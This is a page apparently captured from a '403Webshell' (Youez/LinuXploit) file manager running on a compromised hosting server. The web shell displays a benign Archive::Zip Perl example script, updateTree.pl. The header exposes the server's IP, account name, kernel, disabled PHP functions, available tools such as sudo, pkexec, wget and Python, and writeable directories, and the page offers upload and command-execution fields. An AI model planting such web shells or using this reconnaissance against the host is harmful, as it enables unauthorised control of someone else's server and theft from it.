403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Archive-Zip-1.30/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Archive-Zip-1.30/examples/updateTree.pl
# Shows how to update a Zip in place using a temp file.
#
# usage:
# 	perl [-m] examples/updateTree.pl zipfile.zip dirname
#
# -m means to mirror
#
# $Id: updateTree.pl,v 1.2 2003/11/27 17:03:51 ned Exp $
#
use Archive::Zip qw(:ERROR_CODES);

my $mirror = 0;
if ( $ARGV[0] eq '-m' ) { shift; $mirror = 1; }

my $zipName = shift || die 'must provide a zip name';
my $dirName = shift || die 'must provide a directory name';

# Read the zip
my $zip = Archive::Zip->new();

if ( -f $zipName )
{
	die "can't read $zipName\n" unless $zip->read($zipName) == AZ_OK;

	# Update the zip
	$zip->updateTree($dirName, undef, undef, $mirror);

	# Now the zip is updated. Write it back via a temp file.
	exit( $zip->overwrite() );
}
else    # new zip
{
	$zip->addTree($dirName);
	exit( $zip->writeToFileNamed($zipName) );
}

Youez - 2016 - github.com/yon3zu
LinuXploit